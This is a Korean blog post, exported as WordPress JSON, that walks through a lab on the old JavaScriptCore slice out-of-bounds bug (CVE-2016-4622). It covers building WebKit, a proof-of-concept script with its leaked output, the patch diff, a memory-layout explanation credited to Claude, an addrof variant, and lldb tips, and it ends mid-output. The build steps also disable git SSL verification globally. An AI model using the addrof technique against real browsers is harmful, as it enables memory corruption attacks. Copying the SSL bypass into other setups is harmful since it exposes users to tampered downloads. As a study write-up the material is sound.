{"id":4180,"date":"2026-08-28T14:45:52","date_gmt":"2026-08-28T05:45:52","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4180"},"modified":"2026-08-28T14:45:54","modified_gmt":"2026-08-28T05:45:54","slug":"%ec%8b%a4%ec%8a%b5-cve-2016-4622-arrayprotofuncslice%ec%97%90%ec%84%9c-%eb%b0%9c%ec%83%9d%ed%95%98%eb%8a%94-oob-%ec%b7%a8%ec%95%bd%ec%a0%90","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4180","title":{"rendered":"[\uc2e4\uc2b5] CVE-2016-4622 &#8211; arrayProtoFuncSlice\uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294 OOB \ucde8\uc57d\uc810"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>[\uc2e4\uc2b5] CVE-2016-4622 &#8211; arrayProtoFuncSlice\uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294 OOB \ucde8\uc57d\uc810<\/h1>\n<h1>\ud658\uacbd<\/h1>\n<ul>\n<li>Xcode 7.2<\/li>\n<li>Host: VMWare Workstation on Windows 11 Pro<\/li>\n<li>Guest: macOS X 10.11.6\n<a href=\"https:\/\/archive.org\/details\/el-capitan_202405\">https:\/\/archive.org\/details\/el-capitan_202405<\/a><\/li>\n<li>WebKit (Tag: Safari-601.6.17; Safari 9.1.1)<\/li>\n<\/ul>\n<h1>\ube4c\ub4dc<\/h1>\n<ul>\n<li>Safari-601.6.17 \ud0dc\uadf8\ub97c \ub300\uc0c1\uc73c\ub85c WebKit \ud074\ub860<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">GIT_SSL_NO_VERIFY=1 git clone --depth 1 --branch Safari-601.6.17 \\\n  https:\/\/github.com\/WebKit\/WebKit.git\n  \nmv WebKit WebKit-Safari-601.6.17\n<\/code><\/pre>\n<ul>\n<li>\uc624\ub798\ub41c SSL \uc778\uc99d\uc11c \uad00\ub828 \ubb38\uc81c \uc784\uc2dc\ubc29\ud3b8 \ud574\uacb0<\/li>\n<\/ul>\n<p><a href=\"https:\/\/fennerschool-people.anu.edu.au\/leahys\/update_macos_certificates\/\">https:\/\/fennerschool-people.anu.edu.au\/leahys\/update_macos_certificates\/<\/a><\/p>\n<pre><code class=\"language-bash\">git config --global http.sslVerify false\n<\/code><\/pre>\n<ul>\n<li>cmake \uc5c6\uc774 \uc784\uc2dc\ubc29\ud3b8\uc73c\ub85c jsc \ube4c\ub4dc\ud558\uae30 (RELEASE)<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">cd WebKit-Safari-601.6.17\n\nsed -i '' 's\/^if (cmakeBasedPortName()) {$\/if (isCMakeBuild()) {\/' Tools\/Scripts\/build-jsc\n\nperl -c Tools\/Scripts\/build-jsc          # &quot;syntax OK&quot; \ud655\uc778\n\nsudo xcode-select -s \/Applications\/Xcode.app\n\nLLVM_LIBRARY_PACKAGE=WebKitLibraries\/LLVMLibrariesYosemite.tar.bz2 \\\nLLVM_INCLUDE_PACKAGE=WebKitLibraries\/LLVMIncludesYosemite.tar.bz2 \\\nTools\/Scripts\/build-jsc --release\n<\/code><\/pre>\n<ul>\n<li>Debug\uc6a9\uc73c\ub85c jsc \ube4c\ub4dc\ud558\uae30<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">LLVM_LIBRARY_PACKAGE=WebKitLibraries\/LLVMLibrariesYosemite.tar.bz2 \\\nLLVM_INCLUDE_PACKAGE=WebKitLibraries\/LLVMIncludesYosemite.tar.bz2 \\\nTools\/Scripts\/build-jsc --debug\n<\/code><\/pre>\n<ul>\n<li>ASAN\uc73c\ub85c \ube4c\ub4dc\ud558\ub824\uba74? (RELEASE)<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">Tools\/Scripts\/set-webkit-configuration --asan\n\ncat WebKitBuild\/ASan\n\nLLVM_LIBRARY_PACKAGE=WebKitLibraries\/LLVMLibrariesYosemite.tar.bz2 \\\nLLVM_INCLUDE_PACKAGE=WebKitLibraries\/LLVMIncludesYosemite.tar.bz2 \\\nTools\/Scripts\/build-jsc --release\n<\/code><\/pre>\n<ul>\n<li>jsc \ube4c\ub4dc \uc131\uacf5 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">LLVM_LIBRARY_PACKAGE=WebKitLibraries\/LLVMLibrariesYosemite.tar.bz2 \\\nLLVM_INCLUDE_PACKAGE=WebKitLibraries\/LLVMIncludesYosemite.tar.bz2 \\\nTools\/Scripts\/build-jsc --release \n\n...\n\n    export arch=x86_64\n    export variant=normal\n    \/bin\/sh -c \/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/JavaScriptCore.build\/Release\/All.build\/Script-5DF7E1CC188E6B87003F9A46.sh\n\n** BUILD SUCCEEDED **\n<\/code><\/pre>\n<h1>POC<\/h1>\n<ul>\n<li>poc.jsc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">var a = [];\nfor (var i = 0; i &lt; 100; i++)\n    a.push(i + 0.123);\n\nvar b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});\nprint(b);\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">seos-Mac:Release seo$ pwd\n\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Release\n\nseos-Mac:Release seo$ DYLD_FRAMEWORK_PATH=$(pwd) .\/jsc poc.jsc\n0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0\n<\/code><\/pre>\n<h1>Bug Patch<\/h1>\n<p><a href=\"https:\/\/github.com\/WebKit\/WebKit\/commit\/d506e90ef3ea806c1ddbb5f236cd200a7c009a64\">https:\/\/github.com\/WebKit\/WebKit\/commit\/d506e90ef3ea806c1ddbb5f236cd200a7c009a64<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/m1ghtym0\/write-ups\/blob\/df56783107cc26023f41b6f31e0c48f9989f0ce4\/browser\/CVE-2016-4622\/README.md?plain=1#L17\">https:\/\/github.com\/m1ghtym0\/write-ups\/blob\/df56783107cc26023f41b6f31e0c48f9989f0ce4\/browser\/CVE-2016-4622\/README.md?plain=1#L17<\/a><\/p>\n<ul>\n<li>Source\/JavaScriptCore\/runtime\/ArrayPrototype.cpp<\/li>\n<\/ul>\n<p>\uc77d\uc5b4\ub454 <code>length<\/code>(=100)\uc640 \uc9c0\uae08 \ub2e4\uc2dc \uc77d\uc740 \uc2e4\uc81c \uae38\uc774(=0)\ub97c \ube44\uad50\ud55c\ub2e4.<\/p>\n<p>\ub2e4\ub974\uba74 fast path\ub97c \ud3ec\uae30\ud558\uace0 \uc544\ub798 slow path(<code>getProperty<\/code>\ub85c \ud55c \uce78\uc529 \uc77d\ub294 \ub8e8\ud504)\ub85c \ube60\uc9c4\ub2e4.<\/p>\n<p>slow path\ub294 <code>publicLength<\/code> \ubc16\uc744 <code>undefined<\/code>\ub85c \ucc98\ub9ac\ud558\ubbc0\ub85c OOB\uac00 \uc548 \uc77c\uc5b4\ub098\uac8c \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uc989 stale\ud55c <code>length<\/code>\ub97c \uac31\uc2e0\ud558\ub294 \uac8c \uc544\ub2c8\ub77c, stale\ud574\uc84c\ub2e4\ub294 \uc0ac\uc2e4 \uc790\uccb4\ub97c \uac10\uc9c0\ud574\uc11c fast path\ub97c \ubc84\ub9ac\ub294 \ubc29\uc2dd\uc774\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c &quot;stale&quot;\uc740 \ud504\ub85c\uadf8\ub798\ubc0d\uc5d0\uc11c \u201c\uc77d\uc5b4\ub454 \uac12\uc774 \uadf8 \uc0ac\uc774\uc5d0 \uc2e4\uc81c\uc640 \ub2ec\ub77c\uc838\uc11c \ub354 \uc774\uc0c1 \uc720\ud6a8\ud558\uc9c0 \uc54a\uc740 \uc0c1\ud0dc\u201d \ub97c \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-diff\">commit 650552a6ed7cac8aed3f53dd464341728984b82f (HEAD)\nAuthor: msaboff@apple.com &lt;msaboff@apple.com@268f45cc-cd09-0410-ab3c-d52691b4dbfc&gt;\nDate:   Tue May 3 21:42:44 2016 +0000\n\n    Crash: Array.prototype.slice() and .splice() can call fastSlice() after an array is truncated\n    https:\/\/bugs.webkit.org\/show_bug.cgi?id=157322\n\n    Reviewed by Filip Pizlo.\n\n    Check to see if the source array has changed length before calling fastSlice().\n    If it has, take the slow path.\n\n    * runtime\/ArrayPrototype.cpp:\n    (JSC::arrayProtoFuncSlice):\n    (JSC::arrayProtoFuncSplice):\n    * tests\/stress\/regress-157322.js: New test.\n\n    git-svn-id: http:\/\/svn.webkit.org\/repository\/webkit\/trunk@200387 268f45cc-cd09-0410-ab3c-d52691b4dbfc\n\n...\n\ndiff --git a\/Source\/JavaScriptCore\/runtime\/ArrayPrototype.cpp b\/Source\/JavaScriptCore\/runtime\/ArrayPrototype.cpp\nindex cfdd7fceb7f..08a6ec991af 100644\n--- a\/Source\/JavaScriptCore\/runtime\/ArrayPrototype.cpp\n+++ b\/Source\/JavaScriptCore\/runtime\/ArrayPrototype.cpp\n@@ -863,7 +863,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)\n     if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))\n         return JSValue::encode(jsUndefined());\n \n-    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &amp;&amp; isJSArray(thisObj))) {\n+    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &amp;&amp; isJSArray(thisObj) &amp;&amp; length == getLength(exec, thisObj))) {\n         if (JSArray* result = asArray(thisObj)-&gt;fastSlice(*exec, begin, end - begin))\n             return JSValue::encode(result);\n     }\n@@ -932,7 +932,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)\n         return JSValue::encode(jsUndefined());\n \n     JSObject* result = nullptr;\n-    if (speciesResult.first == SpeciesConstructResult::FastPath &amp;&amp; isJSArray(thisObj))\n+    if (speciesResult.first == SpeciesConstructResult::FastPath &amp;&amp; isJSArray(thisObj) &amp;&amp; length == getLength(exec, thisObj))\n         result = asArray(thisObj)-&gt;fastSlice(*exec, begin, deleteCount);\n \n     if (!result) {\n...\n<\/code><\/pre>\n<h1>\uc2e4\uc2b5 \uc804\uc5d0 Claude\uc5d0\uac8c \ub358\uc838\ubcf4\ub294 \uc9c8\ubb38<\/h1>\n<ul>\n<li>\uc65c \uc2e4\ud589\ud558\uba74 \ub531 3\uac1c\ub9cc \uac12\uc774 \ub098\uc624\ub294\uac78\uae4c? \ub098\uba38\uc9c0\ub3c4 \uc720\ucd9c\ub420 \uc218 \uc788\uc9c0 \uc54a\uc558\uc744\uae4c? \uadf8\ub9ac\uace0 \ud574\ub2f9 \uac12\uc740 \uc5b4\ub514\uc11c \uac00\uc838\uc628\uac70\ub4e4\uc774\uc9c0?<\/li>\n<\/ul>\n<p>\uc138 \uac12 \uc804\ubd80 \ucd9c\ucc98\uac00 \uba85\ud655\ud569\ub2c8\ub2e4. <strong>\uc77d\uae30 \ucc3d(80\ubc14\uc774\ud2b8) \uc548\uc5d0 &quot;\uc9c4\uc9dc \ub0a8\uc758 \ub370\uc774\ud130&quot;\uac00 24\ubc14\uc774\ud2b8\ubc16\uc5d0 \uc5c6\uae30 \ub54c\ubb38<\/strong>\uc785\ub2c8\ub2e4.<\/p>\n<h2>\uba54\ubaa8\ub9ac \ubc30\uce58<\/h2>\n<p><code>X<\/code>\ub97c shrink\ub41c butterfly\uc758 base\ub77c \ud558\uba74:<\/p>\n<pre><code>X+0   [ a\uc758 IndexingHeader {0, 0} ]                  8\ubc14\uc774\ud2b8\nX+8   [ 0.123 ]                                      \u2510\nX+16  [ 1.123 ]                                      \u2518 a\uc758 payload slack 16\ubc14\uc774\ud2b8\nX+24  [ b\uc758 IndexingHeader {10, 10} ]                8\ubc14\uc774\ud2b8\nX+32  [ b\uc758 payload \u2014 80\ubc14\uc774\ud2b8, \ubbf8\ucd08\uae30\ud654 ]\n      ...\n<\/code><\/pre>\n<p><code>memcpy(dst = X+32, src = X+8, 80)<\/code><\/p>\n<pre><code>src: X+8  \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba X+88\ndst:       X+32 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba X+112\n           \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 56\ubc14\uc774\ud2b8 \uacb9\uce68 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518     \u2190 ASAN\uc758 memcpy-param-overlap\n<\/code><\/pre>\n<h2>\uac01 \uac12\uc774 \uc5b4\ub514\uc11c \uc654\ub294\uac00<\/h2>\n<table>\n<thead>\n<tr>\n<th><\/th>\n<th>\uc77d\ub294 \uc704\uce58<\/th>\n<th>\uc815\uccb4<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>b[0]<\/code><\/td>\n<td><code>X+8<\/code><\/td>\n<td><strong>a\uc758 \uc61b \ubc30\uc5f4 \uac12<\/strong> \u2014 <code>0.123<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>b[1]<\/code><\/td>\n<td><code>X+16<\/code><\/td>\n<td><strong>a\uc758 \uc61b \ubc30\uc5f4 \uac12<\/strong> \u2014 <code>1.123<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>b[2]<\/code><\/td>\n<td><code>X+24<\/code><\/td>\n<td><strong>b \uc790\uc2e0\uc758 IndexingHeader<\/strong> <code>{publicLength=10, vectorLength=10}<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>b[3]<\/code>~<code>b[9]<\/code><\/td>\n<td><code>X+32<\/code>~<code>X+80<\/code><\/td>\n<td><strong>b \uc790\uc2e0\uc758 payload<\/strong> \u2014 \uac13 mmap\ub41c \uba54\ubaa8\ub9ac\ub77c 0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><code>b[0]<\/code>, <code>b[1]<\/code> \u2014 \uc65c \ud558\ud544 2\uac1c\uc778\uac00<\/h3>\n<p><code>reallocateAndShrinkButterfly<\/code>\uac00 \uc0c8 butterfly\ub97c 24\ubc14\uc774\ud2b8\ub85c \uc7a1\uace0, <code>resizeArray<\/code>\uac00 <code>min(\uc61b 1528, \uc0c8 24) = 24<\/code>\ubc14\uc774\ud2b8\ub97c \ubcf5\uc0ac\ud569\ub2c8\ub2e4 (<code>ButterflyInlines.h:150-153<\/code>). \ud5e4\ub354 8 + payload 16 = <strong>double \uc815\ud655\ud788 2\uac1c<\/strong>\uc785\ub2c8\ub2e4.<\/p>\n<p>payload\uac00 0\uc774 \uc544\ub2c8\ub77c 16\ubc14\uc774\ud2b8\uc778 \uac74 <code>ArrayStorage::sizeFor(0) = vectorOffset() = 16<\/code> \ub54c\ubb38\uc774\uace0\uc694 (<code>JSObject.cpp:2490<\/code>). contiguous \ubc30\uc5f4\uc778\ub370 ArrayStorage \ud06c\uae30 \uacc4\uc0b0\uc2dd\uc744 \uc4f0\ub294 \uadf8 quirk\uac00 \uc794\uc7ac\ub97c \ub2f4\uc744 \uc790\ub9ac\ub97c \ub9cc\ub4e0 \uac81\ub2c8\ub2e4.<\/p>\n<h3><code>b[2]<\/code> \u2014 \uc790\uae30 \ud5e4\ub354<\/h3>\n<pre><code>0x0000000A0000000A  \u2192  publicLength=10, vectorLength=10  \u2192  2.12199579146e-313\n<\/code><\/pre>\n<p><code>tryCreateUninitialized(vm, structure, 10)<\/code>\uc774 \uacb0\uacfc \ubc30\uc5f4\uc744 <code>X+24<\/code>\uc5d0 \uc7a1\uc558\uace0, \uadf8 \ud5e4\ub354\uac00 src \ubc94\uc704 \uc548\uc5d0 \ub4e4\uc5b4\uc640 \uc788\uc2b5\ub2c8\ub2e4. <strong>\uacb0\uacfc \ubc30\uc5f4\uc774 \uc790\uae30 \ud5e4\ub354\ub97c \uc790\uae30 payload\ub85c \ubcf5\uc0ac\ud55c<\/strong> \uc148\uc785\ub2c8\ub2e4.<\/p>\n<h3><code>b[3]<\/code> \uc774\ud6c4 \u2014 \uc65c 0\uc778\uac00<\/h3>\n<p>\ub450 \uac00\uc9c0\uac00 \uacb9\uce69\ub2c8\ub2e4.<\/p>\n<ol>\n<li><strong>\uc790\uae30 \uc790\uc2e0\uc744 \uc77d\uc2b5\ub2c8\ub2e4.<\/strong> <code>X+32<\/code>\ubd80\ud130\ub294 dst \uc601\uc5ed\uc774\ub77c, memcpy\uac00 \ubaa9\uc801\uc9c0\ub97c \uc18c\uc2a4\ub85c \uc77d\ub294 \uc0c1\ud669\uc785\ub2c8\ub2e4.<\/li>\n<li><strong>\uadf8 \uba54\ubaa8\ub9ac\uac00 0\uc785\ub2c8\ub2e4.<\/strong> <code>vectorLength(10) == initialLength(10)<\/code>\uc774\ub77c <code>JSArray.h:257-259<\/code>\uc758 PNaN \ucc44\uc6b0\uae30\uac00 \uc544\ubb34\uac83\ub3c4 \uc548 \ud558\uace0, CopiedSpace \ube14\ub85d\uc740 \uac13 mmap\ub41c \ud398\uc774\uc9c0\ub77c 0\uc73c\ub85c \uc2dc\uc791\ud569\ub2c8\ub2e4.<\/li>\n<\/ol>\n<p>forward \ubcf5\uc0ac\uc600\ub2e4\uba74 <code>b[3]<\/code>\uc5d0 <code>0.123<\/code>\uc774 \ub2e4\uc2dc \ub098\ud0c0\ub098\uc57c \ud558\ub294\ub370 0\uc774 \ub098\uc628 \uac74, x86_64 memcpy\uac00 80\ubc14\uc774\ud2b8 \uc815\ub3c4 \ud06c\uae30\uc5d0\uc11c <strong>\uc800\uc7a5 \uc804\uc5d0 \uc18c\uc2a4 \uc804\uccb4\ub97c \ub808\uc9c0\uc2a4\ud130\ub85c \uba3c\uc800 \uc77d\uae30<\/strong> \ub54c\ubb38\uc785\ub2c8\ub2e4. \uadf8\ub798\uc11c \uacb9\uce68\uc5d0\ub3c4 \ubd88\uad6c\ud558\uace0 \uc6d0\ubcf8 \ub0b4\uc6a9(=0)\uc774 \uadf8\ub300\ub85c \uc62e\uaca8\uc84c\uc2b5\ub2c8\ub2e4.<\/p>\n<h2>\u201c\ub354 \uc720\ucd9c\ub420 \uc218 \uc788\uc9c0 \uc54a\uc558\ub098\u201d \u2014 \uc548 \ub429\ub2c8\ub2e4<\/h2>\n<p><code>return 10<\/code>\uc744 <code>return 1000<\/code>\uc73c\ub85c \ubc14\uafd4\ub3c4 \uc18c\uc6a9\uc5c6\uc2b5\ub2c8\ub2e4.<\/p>\n<pre><code>count=10    \uc77d\ub294 80\ubc14\uc774\ud2b8 \uc911 \uc9c4\uc9dc \ub370\uc774\ud130 24\ubc14\uc774\ud2b8, \ub098\uba38\uc9c0 56\uc740 \uc790\uae30 payload\ncount=100   \uc77d\ub294 800\ubc14\uc774\ud2b8 \uc911 \uc9c4\uc9dc \ub370\uc774\ud130 24\ubc14\uc774\ud2b8, \ub098\uba38\uc9c0 776\uc740 \uc790\uae30 payload\ncount=1000  \uc77d\ub294 8000\ubc14\uc774\ud2b8 \uc911 \uc9c4\uc9dc \ub370\uc774\ud130 24\ubc14\uc774\ud2b8, \ub098\uba38\uc9c0 7976\uc740 \uc790\uae30 payload\n<\/code><\/pre>\n<p><strong>\uacb0\uacfc \ubc30\uc5f4\uc774 \ucee4\uc9c0\uba74 \uadf8\ub9cc\ud07c \uc790\uae30 payload\ub3c4 \ucee4\uc838\uc11c, \uacb9\uce68 \uad6c\uac04\ub9cc \ub298\uc5b4\ub0a9\ub2c8\ub2e4.<\/strong> \uc9c4\uc9dc \ub0a8\uc758 \ub370\uc774\ud130\ub294 \uc5b8\uc81c\ub098 <code>X+8<\/code>~<code>X+32<\/code>\uc758 24\ubc14\uc774\ud2b8(3\uc2ac\ub86f)\ub85c \uace0\uc815\uc785\ub2c8\ub2e4. <code>count<\/code>\ub97c \uc544\ubb34\ub9ac \ud0a4\uc6cc\ub3c4 <code>b[3]<\/code> \uc774\ud6c4\ub294 \ud56d\uc0c1 \uc790\uae30 \uc790\uc2e0\uc774\uc5d0\uc694.<\/p>\n<p>\uc9c1\uc811 \ud574\ubcf4\uc138\uc694 \u2014 <code>return 1000<\/code>\uc73c\ub85c \ubc14\uafb8\uba74 <code>0.123, 1.123, &lt;\ud5e4\ub354&gt;, 0, 0, 0, ...<\/code> \uc774 998\uac1c \uc774\uc5b4\uc9c8 \uac81\ub2c8\ub2e4. \ud5e4\ub354 \uac12\ub9cc <code>{1000, 1000}<\/code>\uc73c\ub85c \ubc14\ub00c\uace0\uc694.<\/p>\n<h2>\uadf8\ub7fc \uc5b4\ub5bb\uac8c \ub354 \uc720\ucd9c\ud558\ub098<\/h2>\n<p><strong>\uc18c\uc2a4 butterfly \ub4a4\uc5d0 \ud765\ubbf8\ub85c\uc6b4 \uac83\uc744 \uc549\ud600\uc57c \ud569\ub2c8\ub2e4.<\/strong> \ubc29\ubc95\uc740 \ub450 \uac00\uc9c0\uc785\ub2c8\ub2e4.<\/p>\n<h3>1. valueOf \uc548\uc5d0\uc11c \ud560\ub2f9\uc744 \ub07c\uc6cc\ub123\uae30 \u2014 addrof\uac00 \ud558\ub294 \uc77c<\/h3>\n<pre><code class=\"language-jsx\">a.length = 0;   \/\/ shrink \u2192 X+0 ~ X+24 \ud655\ubcf4, bump \ud3ec\uc778\ud130\uac00 X+24\ub85c\na = [object];   \/\/ \u2605 \uc5ec\uae30! X+24\uc5d0 \uc0c8 \ubc30\uc5f4\uc774 \ub4e4\uc5b4\uc549\uc74c\n<\/code><\/pre>\n<p>shrink\uc640 slice \uc0ac\uc774\uc5d0 \ud560\ub2f9\uc744 \ud558\ub098 \ubc00\uc5b4\ub123\uc73c\uba74, <code>X+24<\/code>\ub97c \uacb0\uacfc \ubc30\uc5f4 \ub300\uc2e0 <strong>\uc6b0\ub9ac\uac00 \uace0\ub978 \ubc30\uc5f4<\/strong>\uc774 \ucc28\uc9c0\ud569\ub2c8\ub2e4.<\/p>\n<table>\n<thead>\n<tr>\n<th><\/th>\n<th>\uc774 PoC<\/th>\n<th>addrof<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>X+24<\/code><\/td>\n<td>b\uc758 \ud5e4\ub354 <code>{10,10}<\/code><\/td>\n<td><code>[object]<\/code>\uc758 \ud5e4\ub354 <code>{1,4}<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>X+32<\/code><\/td>\n<td>b\uc758 payload (0)<\/td>\n<td><strong><code>object<\/code>\uc758 \ud3ec\uc778\ud130<\/strong> \u2605<\/td>\n<\/tr>\n<tr>\n<td>\uc720\ucd9c \uacb0\uacfc<\/td>\n<td>\uc4f8\ubaa8\uc5c6\ub294 \uc22b\uc790<\/td>\n<td>\uac1d\uccb4 \uc8fc\uc18c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><code>b[2]<\/code>\uac00 <code>8.4879831644e-314<\/code>(<code>{1,4}<\/code>)\ub85c \ubc14\ub00c\uace0 <code>b[3]<\/code>\uc5d0 \ud3ec\uc778\ud130\uac00 \ub728\ub294 \uadf8 \uad6c\uc870\uc785\ub2c8\ub2e4. <strong>PoC\uc640 addrof\uc758 \ucc28\uc774\ub294 \ub531 <code>a = [object]<\/code> \ud55c \uc904<\/strong>\uc785\ub2c8\ub2e4.<\/p>\n<h3>2. \ud799 \uadf8\ub8e8\ubc0d<\/h3>\n<p>CopiedSpace\ub294 bump allocator\ub77c \uc55e\uc73c\ub85c\ub9cc \ub098\uc544\uac00\uace0, \uc544\uc9c1 \uc548 \uc4f4 \uc601\uc5ed\uc740 mmap \uc9c1\ud6c4 \uc0c1\ud0dc(0)\uc785\ub2c8\ub2e4. \uadf8\ub798\uc11c \uadf8\ub0e5 \uc77d\uc73c\uba74 0\ub9cc \ub098\uc635\ub2c8\ub2e4.<\/p>\n<p>\ubbf8\ub9ac \uac1d\uccb4\ub97c \ub300\ub7c9 \ud560\ub2f9\ud588\ub2e4 \ubc84\ub824\uc11c \uadf8 \uc601\uc5ed\uc744 \u201c\ub354\ub7fd\ud600\u201d \ub193\uc73c\uba74, GC \uc774\ud6c4 \uc7ac\uc0ac\uc6a9\ub41c \uc790\ub9ac\uc5d0 stale \ub370\uc774\ud130\uac00 \ub0a8\uc544 \uc2e4\uc81c leak\ucc98\ub7fc \ub3d9\uc791\ud569\ub2c8\ub2e4. \ub2e4\ub9cc \ubc30\uce58 \uc81c\uc5b4\uac00 \ud6e8\uc52c \uae4c\ub2e4\ub85c\uc6cc\uc11c \uc2e4\uc804\uc5d0\uc11c\ub294 1\ubc88\uc744 \uc501\ub2c8\ub2e4.<\/p>\n<h2>lldb\ub85c \ud655\uc778<\/h2>\n<pre><code>(lldb) br s -f JSObject.cpp -l 2493\n(lldb) r\n(lldb) p\/x this-&gt;m_butterfly.get()        # \uc774 \uac12 - 8 = X\n(lldb) c\n<\/code><\/pre>\n<pre><code>(lldb) br s -f JSArray.cpp -l 698\n(lldb) c\n(lldb) p\/x m_butterfly.get()              # X+8   (src)\n(lldb) p\/x &amp;resultButterfly               # X+32  (dst)\n(lldb) p\/x (char*)&amp;resultButterfly - (char*)m_butterfly.get()\n(long) $1 = 0x18                          # 24 \u2014 \uc774 \uac70\ub9ac\uac00 \uace7 &quot;\uc720\ucd9c \uac00\ub2a5 \ubc14\uc774\ud2b8&quot;\n<\/code><\/pre>\n<p>\uc774 <code>0x18<\/code>\uc774 \ud575\uc2ec \uc22b\uc790\uc785\ub2c8\ub2e4. addrof\uc5d0\uc11c \uac19\uc740 \uac78 \uc7ac\ubcf4\uba74 <strong><code>0x40<\/code>(64)<\/strong> \uc774 \ub098\uc635\ub2c8\ub2e4 \u2014 <code>[object]<\/code> butterfly 40\ubc14\uc774\ud2b8\uac00 \ub07c\uc5b4\ub4e4\uc5b4 \uac04\uaca9\uc774 \ubc8c\uc5b4\uc84c\uace0, \uadf8 \ud2c8\uc5d0 \ud3ec\uc778\ud130\uac00 \ub4e4\uc5b4\uc788\ub294 \uac70\uc8e0.<\/p>\n<pre><code>(lldb) x\/12gx &lt;X&gt;\n<\/code><\/pre>\n<p>\uc774 \ud55c \uc904\ub85c \uc704 \ubc30\uce58\ub3c4\uac00 \uadf8\ub300\ub85c \ub208\uc5d0 \ubcf4\uc785\ub2c8\ub2e4.<\/p>\n<h1>LLDB \ub514\ubc84\uadf8 \ud301<\/h1>\n<ul>\n<li>REPL \ubaa8\ub4dc \uc720\uc9c0: <code>-i<\/code> \uc635\uc158 \uc0ac\uc6a9<\/li>\n<\/ul>\n<h3>\uc18c\uc2a4 \ucf54\ub4dc \ub77c\uc778 \ub2e8\uc704\ub85c LLDB \ub514\ubc84\uae45<\/h3>\n<pre><code class=\"language-bash\">(Debug \uc6a9\uc73c\ub85c \ube4c\ub4dc \ud544\uc218)\n\nsudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc poc.jsc\n<\/code><\/pre>\n<h3>\ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8<\/h3>\n<pre><code class=\"language-c\">(lldb) b JSC::arrayProtoFuncSlice          # \uc2ec\ubcfc \uc774\ub984\n(lldb) br s -n arrayProtoFuncSlice         # \ubca0\uc774\uc2a4 \uc774\ub984 \ud37c\uc9c0 \ub9e4\uce6d\n(lldb) b ArrayPrototype.cpp:848            # \ud30c\uc77c:\ub77c\uc778\n<\/code><\/pre>\n<p>\uc81c\ub300\ub85c \uac78\ub838\ub294\uc9c0 \ud655\uc778:<\/p>\n<pre><code class=\"language-c\">(lldb) image lookup -n arrayProtoFuncSlice\n(lldb) br list\n<\/code><\/pre>\n<h3>\uba48\ucd98 \ub4a4<\/h3>\n<pre><code>(lldb) run\n(lldb) bt                      # \uc2a4\ud0dd\n(lldb) v                       # \uc9c0\uc5ed\ubcc0\uc218 (frame variable)\n(lldb) p exec-&gt;argumentCount()\n(lldb) n                       # \ud55c \uc904 \uc2e4\ud589\n(lldb) s                       # \ud568\uc218 \uc548\uc73c\ub85c\n(lldb) fin                     # \ud604\uc7ac \ud504\ub808\uc784 \ube60\uc838\ub098\uac00\uae30\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-c\">seos-Mac:Debug seo$ pwd\n\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n\nseos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc poc.jsc\nPassword:\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set -- target.run-args  &quot;poc.jsc&quot;\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) b JSC::arrayProtoFuncSlice\nBreakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = 0x00000000001bc970\n(lldb) r\nProcess 2330 launched: '.\/jsc' (x86_64)\n1 location added to breakpoint 1\nProcess 2330 stopped\n* thread #1: tid = 0x44b9, 0x00000001000958af 